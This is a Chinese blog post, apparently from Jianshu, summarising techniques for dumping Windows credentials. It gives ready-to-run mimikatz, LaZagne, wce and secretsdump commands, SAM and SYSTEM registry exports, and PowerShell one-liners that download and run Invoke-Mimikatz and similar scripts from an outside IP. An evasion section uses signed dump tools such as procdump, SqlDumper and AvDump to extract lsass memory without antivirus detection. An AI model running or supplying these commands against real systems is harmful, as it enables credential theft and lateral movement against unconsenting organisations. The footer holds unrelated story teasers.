windows hash抓取总结

前言

最近在看ms08067出版的《内网渗透测试基础》,总结的还是挺好的。这里把windows抓取hash的一些方式进行重新总结。

windows 密码

windows hash由二部分组成,分别是LM HASH和NTLM HASH,这是对同一个密码的两种不同的加密方式。username:RID:LM-HASH值:NTLM-HASH值
NTLM Hash的组成如下:
NTLM-Hash的生成方法为:
1.将明文口令转换成十六进制的格式
2.转换成Unicode格式,即在每个字节之后添加0x00
3.对Unicode字符串作MD4加密,生成32位的十六进制数字串

例如账户密码为cseroad@2008
十六进制为 637365726f61644032303038
Unicode字符串为 63007300650072006f006100640040003200300030003800
NTLM-Hash为 82c58d8cec50de01fd109613369c158e

image.png

LM-Hash(LAN Manager Hash)是微软的一种散列加密算法,本质为DES加密,具体原理参考LM-Hash && NTLM-Hash。当LM Hash是AAD3B435B51404EEAAD3B435B51404EE 这表示空密码或者是未使用LM_HASH。这里不做过多解释,因为从Windows Server 2008版本开始,系统禁用了LM hash。

获取hash的工具

原理:lsass.exe进程用于实现windows安全策略(本地安全策略和登录策略)。可以使用工具将散列值和明文密码从内存的lsass.exe进程或者SAM文件中导出。SAM文件保存在C:\Windows\System32\config目录下,该文件被锁定,不允许复制。
以下工具都以管理员身份运行

QuarksPwDump工具

该工具支持Windows XP/2003/Vista/7/2008版本,且相当稳定。可以抓取windows平台下多种类型的用户凭据,包括:本地帐户、域帐户、缓存的域帐户。
下载地址:https://codeload.github.com/quarkslab/quarkspwdump/zip/master
完整源代码可以从https://github.com/quarkslab/quarkspwdump获取

Quarkspwdump.exe --dump-hash-local   导出用户的NTLM Hash
image.png

LaZagne工具

LaZagne是一款用于检索大量存储在本地计算机密码的开源应用程序。该工具不仅能抓取windows密码,还可以抓取浏览器中的缓存的密码、SVN密码、wifi密码、邮箱密码等功能,适用于windows、Linux、MAC
下载地址 https://github.com/AlessandroZ/LaZagne
运行命令

LaZagne.exe all
image.png

getpass.exe工具

该工具由闪电小子根据mimikatz编译,可以直接获取明文密码。直接运行getpass.exe即可。

image.png

Pwdump7.exe工具

拷贝libeay32.dll和Pwdump7.exe在同一目录下
直接运行Pwdump7.txt即可

image.png

wce工具

该工具分为32位、64位。它可以列举登陆会话,并且可以添加、改变和删除相关凭据。
命令为

wce.exe -w  读取系统明文密码
image.png
wme.exe -l  获取hash
image.png

powershell 脚本

Get-PassHashes.ps1脚本

cmd直接运行命令

powershell IEX (New-Object Net.WebClient).DownloadString('http://47.94.80.xxx/ps/Get-PassHashes.ps1');Get-PassHashes
image.png

Get-PassHashes.ps1 脚本

cmd直接运行命令

powershell iex (New-Object Net.WebClient).DownloadString('http://47.94.80.xxx/nishang/Gather/Get-PassHashes.ps1');Get-PassHashes
image.png

Invoke-Mimikatz.ps1 脚本

依然使用的mimikatz读取密码

powershell IEX (New-Object Net.WebClient).DownloadString('http://47.94.80.xxx/ps/Invoke-Mimikatz.ps1'); Invoke-Mimikatz

Out-Minidump.ps1 脚本

获取lsass.exe的dumps

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Out-Minidump.ps1'); "Get-Process lsass | Out-Minidump"
image.png

再用mimikatz从dumps中获取明文。

mimikatz.exe "sekurlsa::minidump lsass_528.dmp" "sekurlsa::logonPasswords full" exit

mimikatz工具

可用来抓取hash以及明文。
命令为

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" "exit"
image.png

当系统为win10或2012R2以上时,默认在内存缓存中禁止保存明文密码。此时可以通过修改注册表的方式抓取明文,但需要用户重新登录后才能成功抓取。
修改注册表

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

重启后可抓取hash

SAM表获取hash

导出导出SAM和System文件

reg save HKLM\SYSTEM sys.hiv 
reg save HKLM\SAM sam.hiv

将注册表的SAM、System文件导出到本地磁盘。
使用mimikatz读取SAM和System文件。可获取NTLM Hash

mimikatz.exe "lsadump::sam /system:sys.hiv /sam:sam.hiv" exit
image.png

也可以使用secretsdump_windows.exe 导出hash。
命令如下:

reg save HKLM\SYSTEM sys.hiv
reg save HKLM\SAM sam.hiv
reg save hklm\security security.hiv
secretsdump_windows.exe -sam sam.hiv -security security.hiv -system sys.hiv LOCAL
del *.hiv secretsdump_windows.exe /F

metaploit 框架

在得到session的基础上,尝试抓取hash值。
metasploit支持多种hash获取。

1.hashdump命令
在system权限下,可抓取hash

image.png
  1. windows/gather/smart_hashdump 脚本
    可以获取域内的用户 hash
run windows/gather/smart_hashdump
image.png

并将所有hash导出到/root/.msf4/loot/20200218155855_default_10.211.55.16_windows.hashes_396577.txt

  1. load mimikatz 命令
    使用mimikatz
load mimikatz  加载mimikatz模块
msv          获取hash
kerberos  获取明文
ssp          获取明文信息
tspkg       尝试检索tspkg凭据
wdigest    尝试检索wdigest凭据
mimikatz_command -f samdump::hashes   获取hash
mimikatz_command -f sekurlsa::searchPasswords   获取明文密码
image.png
image.png

cobalt strike框架

image.png
Dump Hashes  #获取hash
Run Mimikatz  #运行 Mimikatz 

在beacon在执行的命令对应

hashdump  获取hash值 
logonpasswords  相当于mimikatz_command -f sekurlsa::searchPasswords 
image.png

Empire框架

Empire也是内置了mimikatz来读取hash。

免杀

prodump.exe工具

该工具是微软出品的工具,具有一定免杀效果。
可以利用procdump把lsass进程的内存文件导出本地,再在本地利用mimikatz读取密码。

procdump.exe -accepteula -ma lsass.exe lsass.dmp  导出lsass.dmp

再使用mimikatz读取密码

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit 

需要注意的是从目标机器导出的lsass.dmp需要在相同系统下运行。

image.png

SqlDumper.exe工具

该工具也是微软出品,也具备一定免杀能力。
SqlDumper.exe默认存放在C:\Program Files\Microsoft SQL Server\number\Shared,number代表SQL Server的版本。
如果目标机器没有安装SQL Server,自己上传SqlDumper.exe

tasklist /svc | findstr lsass.exe  查看lsass.exe 的ProcessID
Sqldumper.exe ProcessID 0 0x01100  导出dump文件

mimikatz加载mdump文件

mimikatz.exe "sekurlsa::minidump SQLDmpr0002.mdmp" "sekurlsa::logonPasswords full" exit
image.png

SharpDump工具

Out-Minidump.ps1 脚本C#版本编译后的结果。

image.png

把lsass.exe进程数据导出来
dump的文件的后缀名为bin,拖到本地机器上后,先重命名为 zip,然后再解压
并使用本地的mimikatz进行读取。

mimikatz.exe "sekurlsa::minidump debug520" "sekurlsa::logonPasswords full" "exit"
image.png

AvDump工具

Avdump.exe 是Avast Home Security 产品套件一起提供的小工具。顾名思义,该实用程序将给定进程标识符的内存转储到用户指定的位置。我们可以通过它进行新的 dump 方式利用。
自带 Avast 杀软公司白签名。
https://www.pconlife.com/viewfileinfo/avdump-exe/ 下载该程序。
需要在powershell环境下运行该程序,测试cmd环境下无法导出:

.\AvDump.exe --pid 516 --exception_ptr 0 --dump_level 1 --thread_id 0 --min_interval 0 --dump_file c:\test\lsass.dmp
image.png

再通过mimikatz获取密码。

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit 
image.png

goHashDumper

利用静默退出机制(SilentProcessExit)和Windows API(MiniDumpW) 实现dump 内存
下载地址: https://github.com/crisprss/goHashDumper

破解hash

在线破解hash网站
https://www.objectif-securite.ch/en/ophcrack
http://cracker.offensive-security.com/index.php

参考资源
抓Windows密码的几种方式
一个dumpWindows系统lsass.exe进程的工具
教你多姿势抓取Windows明文或Hash,快收藏!

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 159,219评论 4 362
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 67,363评论 1 293
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 108,933评论 0 243
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 44,020评论 0 206
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,400评论 3 287
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,640评论 1 219
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,896评论 2 313
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,597评论 0 199
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,327评论 1 244
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,581评论 2 246
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 32,072评论 1 261
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,399评论 2 253
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 33,054评论 3 236
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,083评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,849评论 0 195
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,672评论 2 274
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,585评论 2 270

推荐阅读更多精彩内容

  • 原文链接:http://wyb0.com/posts/responder-and-ntml-hash/ 0x00 ...
    cws阅读 7,898评论 1 2
  • 考虑到网络应用数据的安全性时,建立一个渗透测试方法变得越来越重要。我们越来越依赖于网络通信与基于云的数据系统,这些...
    点融黑帮阅读 2,129评论 0 10
  • 系统口令加密机制 Windows NT/2K/XP等系统使用sam文件保存口令。sam文件是Windows NT/...
    Littleston阅读 3,248评论 0 2
  • 转自:阮一峰网上有很多创业的经验谈。David Cummings 从中总结了50句话,放在一起看,确实很令人收益。...
    记忆是条狗阅读 360评论 0 1
  • 每一次看到什么励志的文章,我都会有一股满满的正能量,觉得自己也会通过自己的努力获得一定的回报,希望自己能坚持下去✊...
    69号阅读 151评论 2 2